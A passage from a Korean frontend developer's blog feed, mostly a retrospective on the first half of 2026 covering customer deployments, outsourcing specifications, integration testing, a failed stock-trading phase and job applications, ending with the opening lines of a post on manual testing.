<p>운영체제의 버전도 달랐고, 네트워크 구성과 보안 정책도 달랐습니다. 이미 설치되어 있는 프로그램과 충돌할 가능성도 확인해야 했습니다.</p>
<p>개발 환경에서는 설치 파일을 실행하고 몇 번 클릭하면 끝났던 과정이, 고객사에서는 설치 파일을 전달하는 방식부터 달라질 수 있었습니다.</p>
<p>관리자 권한이 필요한지, 내부 네트워크에서 서버와 정상적으로 통신할 수 있는지, 기존 프로그램과 충돌하지 않는지 하나씩 확인해야 했습니다.</p>
<p>코드가 정상이라고 제품이 정상인 것은 아니었습니다.</p>
<p>설치되지 않으면 사용할 수 없었고, 설치되더라도 사용자가 사용 방법을 이해하지 못하면 제품의 역할을 다할 수 없었습니다.</p>
<p>사용자가 이해하더라도 운영하는 사람이 관리하기 어렵다면 오래 사용하기 힘들었습니다.</p>
<p>개발실에서는 기능이 정상적으로 동작하는지를 주로 확인했습니다.</p>
<p>하지만 고객사를 직접 방문한 뒤부터는 기능을 구현할 때 다른 질문도 함께 하게 됐습니다.</p>
<pre><code>“이 제품을 처음 보는 사람도 이해할 수 있는가?”

“현재 상태에서 다음에 무엇을 해야 하는지 알 수 있는가?”

“문제가 생겼을 때 사용자가 혼자 해결할 수 있는가?”

“개발자가 옆에 없어도 계속 사용할 수 있는가?”</code></pre><p>개발자에게는 익숙한 화면과 문구도 처음 사용하는 사람에게는 전혀 다르게 보일 수 있었습니다.</p>
<p>우리가 중요하게 생각한 기능보다 사용자는 설치 과정이나 버튼의 위치, 안내 문구를 더 크게 불편해하기도 했습니다.</p>
<p>기술적으로 복잡한 기능을 구현하는 것도 중요했지만, 사용자가 제품을 처음 접하는 순간부터 불편하지 않게 만드는 것도 제품의 완성도였습니다.</p>
<p>이때부터 단순히 “동작하는가?”만 확인하지 않고, “실제로 사용할 수 있는가?”를 함께 생각하게 됐습니다.</p>
<p>개발실 안에서 제품을 볼 때와 실제 사용 환경에서 제품을 볼 때는 시선이 달랐습니다.</p>
<p>개발실에서는 코드와 기능이 먼저 보였고, 현장에서는 사람과 환경이 먼저 보였습니다.</p>
<hr>
<h3 id="외주-개발에서-가장-어려운-것은-같은-결과를-상상하게-만드는-일이었습니다">외주 개발에서 가장 어려운 것은 같은 결과를 상상하게 만드는 일이었습니다</h3>
<p>이 시기에는 모바일 프로젝트의 외주 개발 관리도 맡았습니다.</p>
<p>외주 관리는 이번이 두 번째였습니다.</p>
<p>두 번째라면 조금은 익숙할 줄 알았습니다.</p>
<p>그렇지 않았습니다.</p>
<p>프로젝트가 달라지면 어려운 이유도 새로 생겼습니다.</p>
<p>이번에는 내부 구조를 모두 공개하기 어려운 상황에서, 외부 개발자가 필요한 기능을 정확히 구현할 수 있도록 설명해야 했습니다.</p>
<p>내부 정보는 보호해야 했지만, 개발에 필요한 내용은 충분히 전달해야 했습니다.</p>
<p>“내부 구조는 자세히 설명할 수 없지만, 기능은 정확하게 구현해주세요.”</p>
<p>이렇게 말해서는 당연히 원하는 결과가 나올 수 없었습니다.</p>
<p>그래서 외부에 전달해도 되는 정보와 그렇지 않은 정보를 나눴습니다.</p>
<p>내부 구조 자체를 설명하는 대신, 외부에서 필요한 인터페이스와 데이터 형식, 화면의 동작 규칙을 중심으로 문서를 작성했습니다.</p>
<p>정상적으로 동작하는 경우만 적어서도 부족했습니다.</p>
<p>응답이 늦을 때는 어떤 화면을 보여줘야 하는지, 사용 가능한 기능이 제한되는 상황에서는 어떻게 안내해야 하는지, 알림이나 데이터 수신에 실패했을 때는 어떤 상태로 처리해야 하는지도 정리했습니다.</p>
<p>처음에는 기능 목록과 화면 디자인만 전달하면 충분하다고 생각했습니다.</p>
<p>하지만 같은 문장을 읽어도 사람마다 완성된 모습을 다르게 상상할 수 있었습니다.</p>
<p>예를 들어 ‘로그인 기능 구현’이라는 한 문장만으로는 완료 기준을 알 수 없습니다.</p>
<p>화면만 만들어지면 완료인지, 실제 데이터 연결까지 포함하는지, 로그인 상태를 유지해야 하는지, 실패했을 때 안내 메시지도 보여줘야 하는지 모두 다르게 해석할 수 있었습니다.</p>
<p>결과물을 받은 뒤에 “제가 생각한 건 이게 아닌데요”라고 말하지 않으려면, 개발 전에 기준을 더 명확하게 정해야 했습니다.</p>
<p>입력값은 무엇인지, 어떤 결과가 나와야 하는지, 실패했을 때 어떻게 처리해야 하는지, 어느 상태까지 구현돼야 완료로 볼 수 있는지를 함께 전달해야 했습니다.</p>
<p>이 과정에서 외주 관리에서 가장 어려운 것은 개발을 대신할 사람을 찾는 일이 아니라는 것을 배웠습니다.</p>
<p>제가 머릿속으로 알고 있는 제품을 상대방도 같은 모습으로 상상할 수 있도록 만드는 일이 가장 어려웠습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/3d2b6a96-2043-4434-976a-e5fb6924e2ba/image.png" alt=""></p>
<p>문서를 길게 작성한다고 항상 정확한 것은 아니었습니다.</p>
<p>설명이 많아도 해석할 수 있는 방향이 여러 개라면 결과도 여러 개가 나왔습니다.</p>
<p>반대로 문장이 짧더라도 조건과 결과, 완료 기준이 명확하면 서로 같은 방향을 바라볼 수 있었습니다.</p>
<p>좋은 문서는 많은 내용을 담은 문서가 아니라, 서로의 해석 차이를 줄여주는 문서였습니다.</p>
<p>4월에는 직접 코드를 작성하는 것만큼, 다른 사람이 정확한 코드를 작성할 수 있도록 설명하는 일도 중요하다는 것을 배웠습니다.</p>
<p>그리고 제품을 잘 만드는 것만큼, 제품을 사용하는 사람과 함께 만드는 사람이 같은 모습을 바라보게 하는 일도 중요했습니다.</p>
<hr>
<h1 id="5월">5월</h1>
<h2 id="아직은-각자의-자리에서-평화로웠습니다">아직은 각자의 자리에서 평화로웠습니다</h2>
<h3 id="외주-개발을-관리하며-각자의-개발을-마무리했습니다">외주 개발을 관리하며 각자의 개발을 마무리했습니다</h3>
<p>5월에는 외주로 진행 중이던 모바일 프로젝트를 계속 관리하면서, 제가 담당한 개발도 하나씩 마무리하고 있었습니다.</p>
<p>외주 개발은 직접 코드를 작성하는 것과는 또 다른 어려움이 있었습니다. 제가 머릿속으로 이해하고 있는 기능을 상대방도 같은 모습으로 이해할 수 있도록 설명해야 했고, 화면이 보이는 것만으로 완료라고 볼 수 있는지, 실제 데이터 연결과 예외 처리까지 포함해야 하는지 기준도 명확하게 전달해야 했습니다.</p>
<p>처음 외주 관리를 맡았을 때는 요구사항을 자세히 적으면 충분할 것이라고 생각했습니다.</p>
<p>하지만 ‘자세한 문서’와 ‘정확한 문서’는 달랐습니다.</p>
<p>설명이 길어도 해석할 수 있는 방향이 여러 개라면 결과도 여러 개가 나왔습니다. 반대로 문장이 짧더라도 입력값과 결과, 예외 상황, 완료 기준이 명확하면 서로 같은 결과를 바라볼 수 있었습니다.</p>
<p>5월에는 전달받은 결과물을 확인하고, 실제 동작과 예상한 흐름이 다른 부분을 정리해 다시 전달하는 일을 반복했습니다.</p>
<p>예전에는 문제가 보이면 바로 코드를 열어 확인했습니다. 외주 프로젝트에서는 제가 직접 코드를 고치는 대신, 어떤 조건에서 문제가 발생했고 기대한 결과와 실제 결과가 어떻게 다른지 설명해야 했습니다.</p>
<p>덕분에 적어도 스크린샷 한 장과 함께 “여기 이상해요”라고 보내는 사람에서는 조금 벗어난 것 같습니다.</p>
<p>회사 프로젝트에서는 제가 담당한 영역을 중심으로 개발을 이어갔습니다.</p>
<p>당시에는 역할이 어느 정도 나뉘어 있었습니다. 각자 맡은 기능을 개발하고, 마지막에 서로 연결하면 제품이 완성될 것이라고 생각했습니다.</p>
<p>각자의 개발 환경에서는 기능이 잘 동작했습니다.</p>
<p>제가 만든 부분도 동작했고, 다른 영역도 각자의 기준에서는 정상적으로 진행되고 있었습니다. 화면도 하나씩 완성되고 있었고, 일정도 생각보다 크게 밀리지 않는 것처럼 보였습니다.</p>
<p>그래서 5월에는 비교적 편안한 마음으로 제가 맡은 개발에 집중했습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/1356a30f-1152-4c7c-8aee-7878eeff95ae/image.png" alt=""></p>
<blockquote>
<p>“이 정도면 일정에 맞출 수 있겠는데?”</p>
</blockquote>
<p>당시에는 그렇게 생각했습니다.</p>
<p>물론 지금 생각하면 통합 테스트도 시작하지 않은 개발자의 순진한 자신감이었습니다.</p>
<p>각자의 영역에서 잘 동작하는 것과, 모든 영역을 연결했을 때 하나의 제품으로 잘 동작하는 것은 완전히 다른 문제였습니다.</p>
<p>하지만 5월의 저는 아직 그 사실을 온몸으로 경험하기 전이었습니다.</p>
<p>서로 다른 영역에서 사용하는 데이터의 기준과 상태가 완전히 같은지, 한쪽에서 변경된 값이 다른 쪽에는 언제 반영되는지, 실패했을 때 어느 영역에서 책임져야 하는지까지는 충분히 확인하지 못했습니다.</p>
<p>통합 전에는 모두가 자신의 환경에서 정상입니다.</p>
<p>통합을 시작하는 순간, 각자가 생각하는 ‘정상’이 얼마나 달랐는지 알게 됩니다.</p>
<p>그 사실을 몰랐던 5월은 비교적 평화로웠습니다.</p>
<h3 id="개발-공부-대신-주식-공부에-빠졌습니다">개발 공부 대신 주식 공부에 빠졌습니다</h3>
<p>그리고 이 시기에는 개발 공부보다 주식에 조금 더 관심을 두고 있었습니다.</p>
<p>마침 시장 분위기도 괜찮았고, 초반에는 수익도 조금 생겼습니다. 차트를 보고 관련 뉴스를 찾아보는 일이 생각보다 재미있었습니다.</p>
<p>개발하다가 오류를 만나면 로그를 보고, 퇴근 후에는 주식 차트를 봤습니다.</p>
<p>어느 순간부터는 기술 문서보다 기업 뉴스를 더 많이 읽고 있었습니다.</p>
<p>수익이 생기니 자신감도 같이 생겼습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/51e0436a-43a5-4798-accc-dcd55e142438/image.png" alt=""></p>
<blockquote>
<p>“혹시 개발 외에 새로운 재능을 발견한 건 아닐까?”</p>
</blockquote>
<p>잠깐은 정말 그렇게 생각했습니다.</p>
<p>개발자로 일한 지도 2년 정도가 지나면서 업무에 익숙해졌고, 처음처럼 퇴근 후 매일 새로운 기술을 찾아보지는 않게 됐습니다. 회사에서 하루 종일 개발하고 있으니 별도의 공부를 조금 쉬어도 괜찮다고 생각했습니다.</p>
<p>그 빈자리를 자연스럽게 주식 공부가 채웠습니다.</p>
<p>돌이켜보면 이 시기의 수익은 실력보다는 시장 분위기와 운에 가까웠던 것 같습니다.</p>
<p>하지만 사람은 수익이 날 때는 자신이 운이 좋다고 생각하지 않습니다.</p>
<p>분석을 잘했다고 생각합니다.</p>
<p>5월의 저는 아직 금융에 새로운 가능성이 있다고 믿고 있었습니다.</p>
<p>그리고 회사 프로젝트 역시 제가 맡은 영역만 잘 마무리하면 된다고 생각했습니다.</p>
<p>두 가지 생각 모두 6월에 조금 달라지게 됩니다.</p>
<hr>
<h1 id="6월">6월</h1>
<h2 id="통합을-시작하자-평화가-끝났습니다">통합을 시작하자 평화가 끝났습니다</h2>
<p>6월에는 통합 테스트를 준비하며 그동안 각자 개발한 영역을 하나의 흐름으로 연결하기 시작했습니다.</p>
<p>5월까지는 개별 기능들이 각자의 환경에서 잘 동작하고 있었습니다. 그래서 마지막에 연결만 하면 자연스럽게 하나의 제품이 될 것이라고 생각했습니다.</p>
<p>하지만 실제로 연결하기 시작하자 이전에는 보이지 않던 문제들이 하나씩 나타났습니다.</p>
<p>한쪽에서 변경한 정보가 다른 영역에는 예상한 시점에 반영되지 않거나, 같은 상태를 서로 다르게 해석하는 경우가 있었습니다.</p>
<p>각 기능은 분명 정상적으로 동작했습니다.</p>
<p>다만 함께 동작하는 방식은 충분히 정리되지 않은 상태였습니다.</p>
<p>개별 기능의 성공과 전체 제품의 성공은 달랐습니다.</p>
<p>한 영역에서 요청을 정상적으로 처리했다고 해도, 최종 결과가 다른 영역까지 이어지지 않으면 사용자에게는 실패였습니다. 반대로 내부적으로는 처리가 끝났지만 화면에 적절한 상태가 표시되지 않으면 사용자는 아무 일도 일어나지 않았다고 느낄 수 있었습니다.</p>
<p>통합 테스트는 이미 만든 기능이 잘 동작하는지 확인하는 과정이라고 생각했습니다.</p>
<p>실제로는 각자가 만든 기능이 같은 세계관 안에 존재하는지 확인하는 과정에 가까웠습니다.</p>
<p>그리고 생각보다 세계관이 잘 맞지 않았습니다.</p>
<p>처음에는 데이터 연결 몇 군데와 화면 일부를 수정하면 해결될 것이라고 생각했습니다.</p>
<p>그런데 문제를 하나씩 따라가다 보니 단순한 화면 문제가 아니었습니다.</p>
<p>화면이 복잡하게 느껴지는 이유는 디자인이 복잡해서가 아니라, 제품의 흐름과 각 영역의 관계가 화면에 충분히 정리되지 않았기 때문이었습니다.</p>
<p>결국 관리 영역의 화면과 구조도 다시 살펴봐야 했습니다.</p>
<p>원래는 서버 개발자분이 담당하고 있던 부분이었지만, 통합 과정에서 사용자 흐름과 화면 전반을 다시 정리할 필요가 생겼습니다.</p>
<p>그렇게 관리 페이지가 제게 돌아왔습니다.</p>
<p>제가 맡겼던 것은 아니었지만, 어쨌든 돌아왔습니다.</p>
<p>처음에는 기존 화면의 배치와 문구를 조금 수정하면 될 줄 알았습니다.</p>
<p>그렇지 않았습니다.</p>
<p>화면을 바꾸려면 사용자가 어떤 순서로 서비스를 이용해야 하는지부터 다시 확인해야 했고, 그 흐름을 정리하려면 서버와 다른 영역이 어떤 상태를 공유하는지도 알아야 했습니다.</p>
<p>관리 화면 하나를 수정하려고 시작했는데 다른 영역의 동작까지 다시 확인하고 있었습니다.</p>
<p>처음 열었던 파일과 전혀 다른 위치에서 원인을 발견하는 일도 많았습니다.</p>
<p>화면에서 이상한 점을 발견해 따라가 보면 데이터 흐름의 문제였고, 데이터 흐름을 확인하다 보면 처음 정한 운영 기준이 모호한 경우도 있었습니다.</p>
<p>프론트엔드의 문제처럼 보였지만 프론트엔드만 수정해서는 해결되지 않았습니다.</p>
<p>이때부터 제가 담당하는 범위도 빠르게 넓어졌습니다.</p>
<p>기존 개발을 진행하면서 관리 화면의 구조를 다시 정리했고, 외부에서 전달받은 결과물도 확인했습니다. 통합 테스트를 준비하고, 고객에게 전달할 문서와 매뉴얼도 함께 작성했습니다.</p>
<p>개발하다가 문서를 쓰고, 문서를 작성하다가 화면을 수정하고, 화면을 수정하다가 다시 로그를 확인했습니다.</p>
<p>오전에는 개발자였고, 오후에는 기획을 정리했으며, 저녁에는 테스트 담당자가 되어 있었습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/c6d889df-7e4e-410c-8b32-2553d1d7423a/image.png" alt=""></p>
<p>다양한 직무를 경험할 수 있었습니다.</p>
<p>물론 체험을 신청한 적은 없습니다.</p>
<p>기능을 구현하는 것과 사용자가 실제로 사용할 수 있도록 만드는 것이 다르다는 점도 다시 느꼈습니다.</p>
<p>개발자는 이미 제품 구조를 알고 있기 때문에 짧은 단어나 버튼만 봐도 의미를 이해합니다. 하지만 처음 접하는 사람에게는 현재 상태와 다음 행동이 명확하지 않을 수 있습니다.</p>
<p>그래서 단순히 화면에 상태를 보여주는 것에서 끝내지 않고, 처음 사용하는 사람도 전체 흐름을 이해할 수 있도록 화면 순서와 안내 문구를 다시 살펴봤습니다.</p>
<p>이 시기에는 프론트엔드 개발자가 단순히 화면을 그리는 사람이 아니라, 여러 시스템에 흩어진 정보를 사용자가 이해할 수 있는 언어로 번역하는 사람이라는 생각을 많이 했습니다.</p>
<p>서버와 여러 영역의 상태를 하나의 화면으로 정리하고, 개발팀 내부에서만 이해하던 흐름을 사용자가 따라갈 수 있는 경험으로 만드는 것도 프론트엔드의 역할이었습니다.</p>
<hr>
<h3 id="금융-천재의-꿈도-6월에-끝났습니다">금융 천재의 꿈도 6월에 끝났습니다</h3>
<p>업무가 본격적으로 바빠진 것과 비슷한 시기에 주식 수익도 줄어들기 시작했습니다.</p>
<p>4월과 5월에는 수익이 조금 생기면서 제가 기업 분석에 재능이 있는 줄 알았습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/654da01e-09b5-4c36-b2e3-04df82a1d4d6/image.png" alt=""></p>
<p>6월에는 아니었다는 것을 알게 됐습니다..</p>
<p>뭐,, 유럽여행 다녀왔다 친거죠</p>
<p>개발에서는 문제가 발생하면 로그를 확인할 수 있습니다.</p>
<p>어떤 함수에서 오류가 발생했는지, 어떤 값이 예상과 달랐는지 확인하고 수정할 수 있습니다.</p>
<p>주식에는 로그가 없었습니다.</p>
<p>가격이 내려가도 오류 메시지가 나타나지 않았고, 새로고침을 해도 원래 값으로 돌아오지 않았습니다.</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/636a35a3-c8bd-441b-a03d-f2b9de1d7ecc/image.png" alt=""></p>
<p>이미 체결된 주문에는 <code>Ctrl+Z</code>도 없었습니다.</p>
<p>그제야 개발이 생각보다 친절한 분야라는 것을 알게 됐습니다.</p>
<p>적어도 코드는 제가 틀렸다는 사실을 명확하게 알려줍니다. 시장은 별다른 설명 없이 제 돈을 가져갔습니다.</p>
<p>그렇게 짧았던 금융 천재의 꿈은 끝났고, 저는 다시 개발에 집중하게 됐습니다.</p>
<p>개발에 대한 뜨거운 열정이 저를 돌아오게 한 것은 아니었습니다.</p>
<p>손실이었습니다.</p>
<p>그래도 돌아왔으니 됐습니다.</p>
<p>주식 공부를 완전히 그만둔 것은 아니지만, 적어도 개발 공부보다 더 열심히 하지는 않기로 했습니다.</p>
<p>시장이 이미 충분한 수업료를 받아갔기 때문입니다.</p>
<hr>
<h3 id="새-기술이-나왔는데-저장만-해뒀습니다">새 기술이 나왔는데 저장만 해뒀습니다</h3>
<p>6월에는 Claude 쪽에서 <code>fable</code>이라는 새로운 기술도 공개됐습니다.</p>
<p>새로운 기술이나 도구가 등장하면 일단 사용해보고, 기존 방식과 어떤 차이가 있는지 확인하는 것을 좋아합니다. 평소 같았으면 관련 자료를 찾아보고 작은 예제라도 만들어봤을 것 같습니다.</p>
<p>이번에도 소개를 보자마자 흥미가 생겼습니다.</p>
<p>관련 내용을 찾아봤고, 나중에 사용해보려고 저장도 해뒀습니다.</p>
<p>그리고 저장한 것으로 끝났습니다.</p>
<p>새로운 기술이 나왔는데 직접 실행해보지도 못할 정도로 바빴습니다.</p>
<p>다른 사람들이 먼저 사용해본 결과를 보면서 저도 나중에 써봐야겠다고 생각했습니다. 하지만 통합 테스트 준비와 기존 개발, 화면 수정, 문서 작업이 계속 이어지면서 그 ‘나중’은 계속 뒤로 밀렸습니다.</p>
<p>배우고 싶은 것이 없어서 공부하지 않은 것은 아니었습니다.</p>
<p>새로운 것을 시작하기 전에 이미 벌여놓은 일을 끝낼 시간이 필요했습니다.</p>
<p>6월은 새로운 기술을 많이 배운 달이라기보다, 새로운 기술을 살펴볼 여유도 없이 현재의 제품을 완성하는 데 집중한 달에 가까웠습니다.</p>
<p><code>fable</code>은 여유가 생기면 제대로 사용해보고 싶습니다.</p>
<p>그 여유가 언제 생길지는 아직 모르겠습니다.</p>
<hr>
<h3 id="예상하지-못한-연락도-받았습니다">예상하지 못한 연락도 받았습니다</h3>
<p>정신없이 일하던 중 벨로그를 통해 예상하지 못한 연락도 받았습니다.</p>
<p>작성한 글을 보고 서비스 후기를 작성해달라는 제안이 왔고, 별도로 함께 프로젝트를 진행해보자는 연락도 받았습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/7aedd0f5-5acc-4116-8a1b-38bf5458b45e/image.png" alt="">
<img src="https://velog.velcdn.com/images/songyeonji_/post/606014ab-4bc6-4694-b79a-bbd09cc0d267/image.png" alt=""></p>
<p>처음에는 조금 신기했습니다.</p>
<p>벨로그는 제가 해결한 방법을 다시 잊지 않기 위해 시작했습니다. 며칠 동안 어렵게 해결한 문제도 시간이 지나면 방법을 잊어버렸고, 몇 달 뒤 같은 문제를 만났을 때 다시 처음부터 찾아보는 일이 반복됐기 때문입니다.</p>
<p>미래의 저를 위해 남긴 메모에 가까웠습니다.</p>
<p>그런데 제가 작성한 글과 프로젝트를 보고 누군가 제 의견을 듣고 싶어 하거나 함께 무언가를 만들어보고 싶다고 연락해준다는 것이 감사했습니다.</p>
<p>제안받은 서비스도 충분히 사용해본 뒤 개발자의 시선에서 솔직하게 리뷰해보고 싶었습니다. 프로젝트 제안 역시 어떤 것을 만들려는지 자세히 이야기해보고 싶은 마음이 있었습니다.</p>
<p>하지만 당시에는 새로운 일을 시작할 수 있을 만큼 시간과 체력이 남아 있지 않았습니다.</p>
<p>서비스를 잠깐 사용한 뒤 형식적인 후기를 작성하고 싶지 않았고, 외부 프로젝트를 무리해서 시작했다가 회사 일과 새로운 프로젝트 양쪽 모두 제대로 마무리하지 못할 것 같았습니다.</p>
<p>결국 두 제안 모두 참여하지 못했습니다.</p>
<p>좋은 기회를 놓친 것 같아 아쉬웠지만, 제가 남긴 기록이 누군가에게 닿고 있다는 사실은 다시 벨로그를 꾸준히 작성해야겠다는 동기가 됐습니다.</p>
<p>회사에서 제 벨로그를 알고 있다는 사실을 알게 된 뒤 한동안 글을 쓰는 것이 조심스러웠습니다. 민감한 내용이 드러나지 않는지, 회사에 대한 불만처럼 읽히지는 않는지 계속 신경 쓰다 보니 기록 자체를 미루기도 했습니다.</p>
<p>하지만 기록하지 않으면 몇 달 동안 고민했던 일도 결국 “그때 뭔가 어려웠다”는 한 문장으로만 남았습니다.</p>
<p>처음에는 어떤 방식으로 접근했고, 왜 잘되지 않았으며, 결국 어떤 기준으로 구조를 변경했는지를 남겨야 경험도 제대로 쌓인다는 생각이 들었습니다.</p>
<p>앞으로는 내부 정보는 제외하면서도 제가 어떤 문제를 만났고 어떤 판단을 내렸는지는 계속 기록해보려고 합니다.</p>
<p>완성된 결과만 보여주는 글보다, 실패했던 접근과 수정한 이유까지 함께 보여주는 글을 쓰고 싶습니다.</p>
<hr>
<h1 id="상반기를-돌아보며">상반기를 돌아보며</h1>
<p>2026년 상반기에는 새로운 프론트엔드 라이브러리보다 하나의 제품이 실제 사용자에게 전달되기 위해 필요한 것들을 더 많이 배웠습니다.</p>
<p>화면이 잘 동작하는 것은 끝이 아니었습니다.</p>
<p>화면에서 보낸 요청이 서버에 저장되어야 했고, 처리 결과는 다시 에이전트와 엔진에 적용되어야 했습니다. 그 상태가 사용자 화면에도 정확히 표시되어야 했습니다.</p>
<p>이 중 하나라도 실패하면 사용자는 전체 기능이 실패했다고 느낍니다.</p>
<p>이전에는 사용자 경험을 주로 화면 안에서 생각했습니다.</p>
<p>이제는 설치 파일을 받고 프로그램을 실행하는 순간부터, 연결이 끊겼을 때 복구되는 과정과 관리자가 승인하는 순서까지 모두 사용자 경험이라고 생각합니다.</p>
<p>상반기에는 이런 복잡한 시스템을 이해할 수 있는 형태로 번역하는 일을 많이 했습니다.</p>
<p>엔진의 상태를 문구로 바꾸고, 서버의 권한 구조를 화면으로 옮겼습니다. 운영 정책을 관리자 페이지의 순서로 만들고, 내부 아이디어를 외주 개발자가 이해할 수 있는 문서로 정리했습니다.</p>
<p>처음에는 개발과 조금 떨어진 일이라고 생각했지만, 결국 제품을 완성하기 위해 모두 필요한 과정이었습니다.</p>
<hr>
<h1 id="조금-솔직한-상반기-평가">조금 솔직한 상반기 평가</h1>
<p>상반기 내내 성실하게 공부한 것은 아닙니다.</p>
<p>개발 공부가 느슨해진 시기도 있었고, 주식으로 잠깐 돈을 벌고 새로운 재능을 발견한 줄 착각하기도 했습니다.</p>
<p>회사에 벨로그를 들킨 뒤 글쓰기가 조심스러워졌고, 좋은 제안을 받았지만 여유가 없어 놓친 기회도 있었습니다.</p>
<p>그래도 완전히 멈추지는 않았습니다.</p>
<p>익숙하지 않은 엔진 통신을 공부했고, 제품 구조를 다시 설계했습니다. 고객사의 환경을 확인하고 외부 개발자와 협업하기 위한 문서를 만들었습니다.</p>
<p>관리자 페이지와 에이전트, 서버, 엔진을 하나의 흐름으로 연결하며 문제를 바라보는 범위도 넓어졌습니다.</p>
<p>예전에는 화면에 문제가 생기면 컴포넌트와 상태부터 확인했습니다.</p>
<p>이제는 서버 데이터, 엔진 연결, 사용자 권한, 운영 순서까지 함께 확인합니다.</p>
<p>알아야 할 것이 늘어난 만큼 오히려 더 조심스러워졌습니다.</p>
<p>예전에는 모르는 것이 적어서 자신감이 있었고, 지금은 고려해야 할 것이 많다는 사실을 알아서 신중해졌습니다.</p>
<p>이것도 성장이라고 생각합니다.</p>
<p>이 시기에는 몇몇 회사에 지원서를 넣으며 현재 제 상태도 함께 점검했습니다.</p>
<p>저는 도태되고 있다는 감각을 가장 싫어합니다.</p>
<p>한 환경에서 오래 일하면 제가 실제로 성장한 것인지, 단순히 현재 업무에 익숙해진 것인지 구분하기 어려울 때가 있습니다.</p>
<p>지원서를 작성하면서 그동안 했던 일을 다시 정리했습니다. 어떤 기술을 사용했는지 나열하는 것보다, 왜 구조를 변경했고 어떤 문제를 해결했으며 그 과정에서 제가 담당한 범위가 어디까지였는지를 설명해야 했습니다.</p>
<p>아직 지원한 곳이 아주 많지는 않았지만 서류 합격률은 약 60~70% 정도였습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/ce2ee2ab-120e-45b3-842c-545683d6ec08/image.png" alt="">
<img src="https://velog.velcdn.com/images/songyeonji_/post/f15d23df-9dc9-4b48-8ed4-67d0bb340e03/image.png" alt=""></p>
<p>이 수치가 제 실력을 완전히 증명한다고 생각하지는 않습니다. 회사마다 필요한 경험이 다르고, 채용 시기와 지원자 구성에 따라서도 결과가 달라지기 때문입니다.</p>
<p>그래도 지금까지 쌓아온 경험이 외부에서도 완전히 의미 없는 것은 아니라는 작은 확인은 됐습니다.</p>
<p>아직은 잘 살아가고 있는 것 같았습니다.</p>
<h1 id="그래서-하반기에는">그래서 하반기에는</h1>
<p>상반기가 끝났다고 일이 잠잠해지지는 않았습니다.</p>
<p>7월에는 해커톤 준비와 회사 일정이 겹쳤고, 여기에 주말 출근과 야근까지 이어졌습니다. 상반기 회고를 쓰려고 몇 번이나 메모장을 열었지만, 글을 쓰기 전에 당장 처리해야 할 일이 계속 생겼습니다.</p>
<p>퇴근 후에는 해커톤 지원서를 다듬고, 프로젝트 아이디어와 역할을 정리했습니다. 회사에서는 통합 테스트와 납품 준비가 본격적으로 시작됐고, 평일에 끝내지 못한 일은 자연스럽게 주말까지 따라왔습니다.</p>
<p>7월은 개발도, 해커톤 준비도, 체력 관리도 모두 놓치고 싶지 않아 욕심을 냈던 달이었습니다. 결과적으로 무엇 하나 가볍게 지나가지는 않았습니다.</p>
<p>상반기는 제품의 구조와 운영을 배우는 시간이었다면, 7월은 그동안 준비한 것들을 실제 일정 안에서 버텨내는 시간이었던 것 같습니다.</p>
<p>자세한 이야기는 하반기 회고에서 풀어보려고 합니다. 아직 8월이 되지는 않았지만, 그때는 조금 더 긍정적인 이야기를 적을 수 있으면 좋겠습니다.</p>
<p>“7월에는 정말 힘들었지만, 그래도 결국 잘 마무리했다.”</p>
<p>다음 회고에서는 이렇게 쓸 수 있기를 기다려봅니다.</p>
<p>2026년 상반기는 프론트엔드 개발자로서 제가 바라보는 범위가 가장 많이 넓어진 시간이었습니다. 화면을 만드는 것에서 시작해 화면 뒤의 서버와 엔진을 이해하게 됐고, 제품이 설치되고 운영되는 과정까지 고민하게 됐습니다.</p>
<blockquote>
<p>제품을 완성한다는 것은 기능을 모두 만드는 것이 아니라, 각 기능이 사용자에게 하나의 경험으로 이어지게 만드는 일이다.</p>
</blockquote>
<p>그리고 개발자는 코드를 작성하는 사람이기도 하지만, 복잡한 문제 사이에서 기준을 만들고 끝까지 연결하는 사람이기도 합니다.</p>
<p>지금도 일정과 오류, 예상하지 못한 요구사항 사이에서 버티고 있는 개발자분들이 많을 것 같습니다. 개발하다 보면 분명 어제까지 잘되던 기능이 갑자기 안 되고, 거의 끝났다고 생각한 순간 새로운 요구사항이 들어오기도 합니다.</p>
<p>왜 그런 일이 계속 생기는지는 저도 알고 싶지 않습니다.</p>
<p>그래도 결국 하나씩 원인을 찾고, 다시 연결하고, 어떻게든 다음 단계로 넘어가게 되는 것이 개발자의 일인 것 같습니다.</p>
<p>조금 지쳤더라도 우리가 못하고 있어서 힘든 것만은 아닐 겁니다. 책임지는 범위가 넓어지고, 해결해야 하는 문제가 어려워졌기 때문에 힘든 순간도 분명 있을 테니까요.</p>
<p>이상으로 많이 늦은 2026년 상반기 회고를 마치겠습니다.</p>
<p>8월에는 조금 더 여유롭고 긍정적인 회고를 쓸 수 있기를 바라며,
<img src="https://velog.velcdn.com/images/songyeonji_/post/f87e7a86-d7d5-4a50-a3f4-d1e1be391f5f/image.png" alt=""></p>
<p>오늘도 각자의 자리에서 버티고 있는 지친 개발자분들, 모두 파이팅입니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[네...?
이걸 다 수동 테스트하라구요...?
제가요...?]]></title>
            <link>https://velog.io/@songyeonji_/%EB%84%A4...%EC%9D%B4%EA%B1%B8-%EB%8B%A4-%EC%88%98%EB%8F%99-%ED%85%8C%EC%8A%A4%ED%8A%B8%ED%95%98%EB%9D%BC%EA%B5%AC%EC%9A%94...%EC%A0%9C%EA%B0%80%EC%9A%94-oigys29x</link>
            <guid>https://velog.io/@songyeonji_/%EB%84%A4...%EC%9D%B4%EA%B1%B8-%EB%8B%A4-%EC%88%98%EB%8F%99-%ED%85%8C%EC%8A%A4%ED%8A%B8%ED%95%98%EB%9D%BC%EA%B5%AC%EC%9A%94...%EC%A0%9C%EA%B0%80%EC%9A%94-oigys29x</guid>
            <pubDate>Sat, 25 Jul 2026 12:32:45 GMT</pubDate>
            <description><![CDATA[<p>프론트엔드 프로젝트를 진행하다 보면 처음에는 대부분 직접 화면을 눌러보면서 기능을 확인하게 됩니다.</p>
<p>버튼을 클릭해보고, 검색어를 입력해보고, 목록이 잘 나오는지 보고, 상태가 바뀌는지도 직접 확인합니다.</p>
